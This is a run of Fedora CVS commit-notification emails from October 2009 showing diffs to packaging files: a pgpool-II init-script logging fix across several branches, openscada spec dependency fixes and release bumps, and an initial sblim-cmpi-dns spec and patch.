--- pgpool.init	23 Mar 2009 09:36:08 -0000	1.2
+++ pgpool.init	22 Oct 2009 11:59:34 -0000	1.3
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/EL-5/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	16 Aug 2007 09:22:43 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:34 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From devrim at fedoraproject.org  Thu Oct 22 11:59:35 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:35 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-10 pgpool.init, 1.3,
	1.4 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115935.30B5711C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/F-10

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/pgpool.init,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pgpool.init	23 Mar 2009 01:00:22 -0000	1.3
+++ pgpool.init	22 Oct 2009 11:59:34 -0000	1.4
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-10/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	4 Aug 2007 22:10:30 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:35 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From devrim at fedoraproject.org  Thu Oct 22 11:59:36 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:36 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/devel pgpool.init, 1.4,
	1.5 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115936.0DB7A11C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/devel

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/pgpool.init,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pgpool.init	23 Mar 2009 00:50:17 -0000	1.4
+++ pgpool.init	22 Oct 2009 11:59:35 -0000	1.5
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/devel/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	4 Aug 2007 22:10:30 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:35 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From devrim at fedoraproject.org  Thu Oct 22 11:59:35 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:35 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-12 pgpool.init, 1.4,
	1.5 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115935.C449711C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/F-12

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/pgpool.init,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pgpool.init	23 Mar 2009 00:50:17 -0000	1.4
+++ pgpool.init	22 Oct 2009 11:59:35 -0000	1.5
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-12/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	4 Aug 2007 22:10:30 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:35 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From devrim at fedoraproject.org  Thu Oct 22 11:59:35 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Thu, 22 Oct 2009 11:59:35 +0000 (UTC)
Subject: rpms/postgresql-pgpool-II/F-11 pgpool.init, 1.4,
	1.5 pgpool.sysconfig, 1.1, 1.2
Message-ID: <20091022115935.73F8411C008C@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-pgpool-II/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8836/F-11

Modified Files:
	pgpool.init pgpool.sysconfig 
Log Message:
Fix logging, per report from Toshihiro Kitagawa.




Index: pgpool.init
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/pgpool.init,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pgpool.init	23 Mar 2009 00:50:17 -0000	1.4
+++ pgpool.init	22 Oct 2009 11:59:35 -0000	1.5
@@ -11,6 +11,9 @@
 #
 # v2.2 Devrim GUNDUZ <devrim at CommandPrompt.com>
 # - New and improved version which has some fixes.
+#
+# v2.2.5 Devrim GUNDUZ <devrim at CommandPrompt.com>
+# - Fix logging.
 
 if [ -r /etc/sysconfig/pgpool ]; then
     . /etc/sysconfig/pgpool
@@ -37,6 +40,14 @@ then
 	NAME=${NAME:3}
 fi
 
+# For SELinux we need to use 'runuser' not 'su'
+if [ -x /sbin/runuser ]
+then
+    SU=runuser
+else
+    SU=su
+fi
+
 # Set defaults for configuration variables
 PGPOOLENGINE=/usr/bin
 PGPOOLDAEMON=$PGPOOLENGINE/pgpool
@@ -85,7 +96,7 @@ start(){
 
 	echo -n "$PGPOOL_START"
 
-	$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & >> "$PGPOOLLOG" 2>&1 < /dev/null
+	$SU -l postgres -c "$PGPOOLDAEMON -f $PGPOOLCONF $OPTS & " >> "$PGPOOLLOG" 2>&1 < /dev/null
 	sleep 2
 
 	pid=`pidof -s "$PGPOOLDAEMON"`


Index: pgpool.sysconfig
===================================================================
RCS file: /cvs/extras/rpms/postgresql-pgpool-II/F-11/pgpool.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pgpool.sysconfig	4 Aug 2007 22:10:30 -0000	1.1
+++ pgpool.sysconfig	22 Oct 2009 11:59:35 -0000	1.2
@@ -4,3 +4,4 @@
 # -d: debug mode. lots of debug information will be printed
 
 #OPTS=" -d -n"
+OPTS=" -n"



From peter at fedoraproject.org  Thu Oct 22 12:00:21 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:00:21 +0000 (UTC)
Subject: rpms/openscada/EL-5 openscada.spec,1.10,1.11
Message-ID: <20091022120021.7764E11C04D2@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9099/EL-5

Modified Files:
	openscada.spec 
Log Message:
Fix the last broken dep


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/openscada.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- openscada.spec	21 Oct 2009 13:54:47 -0000	1.10
+++ openscada.spec	22 Oct 2009 12:00:21 -0000	1.11
@@ -1084,7 +1084,7 @@ Requires: %name-UI-QTCfg
 %endif
 Requires: %name-Special-FlibComplex1
 Requires: %name-Special-FlibMath
-Requires: %name-Special-FlibSYS
+Requires: %name-Special-FlibSys
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).



From peter at fedoraproject.org  Thu Oct 22 12:00:21 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:00:21 +0000 (UTC)
Subject: rpms/openscada/F-10 openscada.spec,1.12,1.13
Message-ID: <20091022120021.BB27F11C04D3@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9099/F-10

Modified Files:
	openscada.spec 
Log Message:
Fix the last broken dep


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/openscada.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- openscada.spec	21 Oct 2009 13:54:47 -0000	1.12
+++ openscada.spec	22 Oct 2009 12:00:21 -0000	1.13
@@ -1084,7 +1084,7 @@ Requires: %name-UI-QTCfg
 %endif
 Requires: %name-Special-FlibComplex1
 Requires: %name-Special-FlibMath
-Requires: %name-Special-FlibSYS
+Requires: %name-Special-FlibSys
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).



From peter at fedoraproject.org  Thu Oct 22 12:00:22 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:00:22 +0000 (UTC)
Subject: rpms/openscada/F-11 openscada.spec,1.12,1.13
Message-ID: <20091022120022.0464311C0265@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9099/F-11

Modified Files:
	openscada.spec 
Log Message:
Fix the last broken dep


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/openscada.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- openscada.spec	21 Oct 2009 13:54:47 -0000	1.12
+++ openscada.spec	22 Oct 2009 12:00:21 -0000	1.13
@@ -1084,7 +1084,7 @@ Requires: %name-UI-QTCfg
 %endif
 Requires: %name-Special-FlibComplex1
 Requires: %name-Special-FlibMath
-Requires: %name-Special-FlibSYS
+Requires: %name-Special-FlibSys
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).



From peter at fedoraproject.org  Thu Oct 22 12:00:22 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:00:22 +0000 (UTC)
Subject: rpms/openscada/F-12 openscada.spec,1.15,1.16
Message-ID: <20091022120022.8060B11C0265@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9099/F-12

Modified Files:
	openscada.spec 
Log Message:
Fix the last broken dep


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/openscada.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- openscada.spec	21 Oct 2009 13:54:47 -0000	1.15
+++ openscada.spec	22 Oct 2009 12:00:22 -0000	1.16
@@ -1084,7 +1084,7 @@ Requires: %name-UI-QTCfg
 %endif
 Requires: %name-Special-FlibComplex1
 Requires: %name-Special-FlibMath
-Requires: %name-Special-FlibSYS
+Requires: %name-Special-FlibSys
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).



From peter at fedoraproject.org  Thu Oct 22 12:00:22 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:00:22 +0000 (UTC)
Subject: rpms/openscada/devel openscada.spec,1.15,1.16
Message-ID: <20091022120022.BAFD611C029E@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9099/devel

Modified Files:
	openscada.spec 
Log Message:
Fix the last broken dep


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/openscada.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- openscada.spec	21 Oct 2009 13:54:47 -0000	1.15
+++ openscada.spec	22 Oct 2009 12:00:22 -0000	1.16
@@ -1084,7 +1084,7 @@ Requires: %name-UI-QTCfg
 %endif
 Requires: %name-Special-FlibComplex1
 Requires: %name-Special-FlibMath
-Requires: %name-Special-FlibSYS
+Requires: %name-Special-FlibSys
 %description visStation
 The %name-visStation package is virtual package for visual
 station (OpenSCADA).



From vcrhonek at fedoraproject.org  Thu Oct 22 12:01:11 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 12:01:11 +0000 (UTC)
Subject: rpms/sblim-cmpi-dns/F-10 sblim-cmpi-dns-0.5.2-include.patch, NONE, 
	1.1 sblim-cmpi-dns.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091022120111.D794F11C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-dns/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9504

Modified Files:
	sources 
Added Files:
	sblim-cmpi-dns-0.5.2-include.patch sblim-cmpi-dns.spec 
Log Message:
Initial commit

sblim-cmpi-dns-0.5.2-include.patch:
 smt_dns_array.cpp |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE sblim-cmpi-dns-0.5.2-include.patch ---
diff -up sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old sblim-1/sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp
--- sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp_old	2005-10-18 14:13:45.000000000 +0200
+++ sblim-cmpi-dns-0.5.2/provider/support/smt_dns_array.cpp	2009-02-16 16:32:31.000000000 +0100
@@ -18,6 +18,9 @@
 #include <string>
 #include <list>
 #include <iostream>
+#include <cstdlib>
+#include <cstring>
+#include <algorithm>
 
 using namespace std;
 


--- NEW FILE sblim-cmpi-dns.spec ---
%define tog_pegasus_version 2:2.5.1
%define provider_dir %{_libdir}/cmpi/

Name:           sblim-cmpi-dns
Version:        0.5.2
Release:        1%{?dist}
Summary:        SBLIM WBEM-SMT Dns

Group:          Applications/System
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Patch0:         sblim-cmpi-dns-0.5.2-include.patch

#BuildRequires:  sed
BuildRequires:  flex bison
BuildRequires:  sblim-tools-libra-devel
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-devel
Requires:       sblim-tools-libra
Requires:       bind
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig
Provides:       cmpi-dns = %{version}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The cmpi-dns package provides access to the dns configuration data
via CIMOM technology/infrastructure.
It contains the Dns CIM Model, CMPI Provider with the Samba task specific
Resource Access.

%package devel
Summary:        SBLIM WBEM-SMT Dns - Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM WBEM-SMT Dns Development Package contains header files and
link libraries for dependent provider packages

%package test
Summary:        SBLIM WBEM-SMT Dns - Testcase Files
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM WBEM-SMT DNS Provider Testcase Files for the SBLIM Testsuite

%prep
%setup -q
%patch0 -p1 -b .include

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
   TESTSUITEDIR=%{_datadir}/sblim-testsuite \
   CIMSERVER=pegasus \
   PROVIDERDIR=%{provider_dir}
# try to remove RPATH from libtool generated libraries
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/cmpi/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
sed -i -e '1d;2i#!/usr/bin/awk -f' $RPM_BUILD_ROOT/%{_datadir}/%{name}/smt_dns_ra_lines.awk

%files
%defattr(-,root,root,0755)
%{_datadir}/doc/%{name}-%{version}
%{_datadir}/%{name}
%{_libdir}/libRaToolsDns.so.*
%{_libdir}/libIBM_DnsProviderTooling.so.*
%{_libdir}/libLinux_DnsGeneralProviderBasic.so.*
%config(noreplace) %{_sysconfdir}/smt_dns*.conf
%{_libdir}/cmpi/libcmpiLinux_Dns*.so
%{_libdir}/cmpi/libcmpiDnsCIM_ConcreteJob.so
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_includedir}/sblim/smt_dns*.h
%{_libdir}/libRaToolsDns.so
%{_libdir}/libIBM_DnsProviderTooling.so
%{_libdir}/libLinux_DnsGeneralProviderBasic.so

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/elephant.example2.com.conf
%{_datadir}/sblim-testsuite/buffalo.example2.com.conf
%{_datadir}/sblim-testsuite/named.conf
%{_datadir}/sblim-testsuite/testlocaldomain.zone
%{_datadir}/sblim-testsuite/testnamed.local
%{_datadir}/sblim-testsuite/testnamed.ca
%{_datadir}/sblim-testsuite/testlocalhost.zone
%{_datadir}/sblim-testsuite/testnamed.ip6.local
%{_datadir}/sblim-testsuite/testnamed.zero
%{_datadir}/sblim-testsuite/test-cmpi-dns.sh
%{_datadir}/sblim-testsuite/testnamed.broadcast
%{_datadir}/sblim-testsuite/cobra.example1.com.conf
%{_datadir}/sblim-testsuite/rhino.example1.com.conf
%{_datadir}/sblim-testsuite/system/linux/Linux_Dns*
%{_datadir}/sblim-testsuite/cim/Linux_Dns*

# Conditional definition of schema and registration files
%define DNS_SCHEMA %{_datadir}/%{name}/Linux_Dns.mof
%define DNS_REGISTRATION %{_datadir}/%{name}/Linux_Dns.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
  # Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{DNS_REGISTRATION} -m %{DNS_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun
# Run ldconfig only if not upgrading
if [ $1 -eq 0 ]; then
  /sbin/ldconfig
fi

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-dns/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:39 -0000	1.1
+++ sources	22 Oct 2009 12:01:11 -0000	1.2
@@ -0,0 +1 @@
+0977f52c746cd340d750fe2de2aa5753  sblim-cmpi-dns-0.5.2.tar.bz2



From peter at fedoraproject.org  Thu Oct 22 12:03:36 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:03:36 +0000 (UTC)
Subject: rpms/openscada/EL-5 openscada.spec,1.11,1.12
Message-ID: <20091022120336.4F6E811C008C@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10044/EL-5

Modified Files:
	openscada.spec 
Log Message:
version bump


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/openscada.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- openscada.spec	22 Oct 2009 12:00:21 -0000	1.11
+++ openscada.spec	22 Oct 2009 12:03:35 -0000	1.12
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -1487,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Thu Oct 22 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-4
+- Fixed the last broken dep
+
 * Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
 - Fixed the rest of broken deps introduced with new sub-packages.
 



From peter at fedoraproject.org  Thu Oct 22 12:03:36 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:03:36 +0000 (UTC)
Subject: rpms/openscada/F-10 openscada.spec,1.13,1.14
Message-ID: <20091022120336.6E74B11C0264@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10044/F-10

Modified Files:
	openscada.spec 
Log Message:
version bump


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/openscada.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- openscada.spec	22 Oct 2009 12:00:21 -0000	1.13
+++ openscada.spec	22 Oct 2009 12:03:36 -0000	1.14
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -1487,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Thu Oct 22 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-4
+- Fixed the last broken dep
+
 * Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
 - Fixed the rest of broken deps introduced with new sub-packages.
 



From peter at fedoraproject.org  Thu Oct 22 12:03:36 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Thu, 22 Oct 2009 12:03:36 +0000 (UTC)
Subject: rpms/openscada/F-11 openscada.spec,1.13,1.14
Message-ID: <20091022120336.9B57311C008C@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/openscada/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10044/F-11

Modified Files:
	openscada.spec 
Log Message:
version bump


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-11/openscada.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- openscada.spec	22 Oct 2009 12:00:21 -0000	1.13
+++ openscada.spec	22 Oct 2009 12:03:36 -0000	1.14
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -1487,6 +1487,9 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Thu Oct 22 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-4
+- Fixed the last broken dep
+
 * Wed Oct 21 2009 Peter Lemenkov <lemenkov at gmail.com> - 0.6.4-3
 - Fixed the rest of broken deps introduced with new sub-packages.
 



From peter at fedoraproject.org  Thu Oct 22 12:03:36 2009
From: peter at fedoraproject.org (Peter Lemenkov)
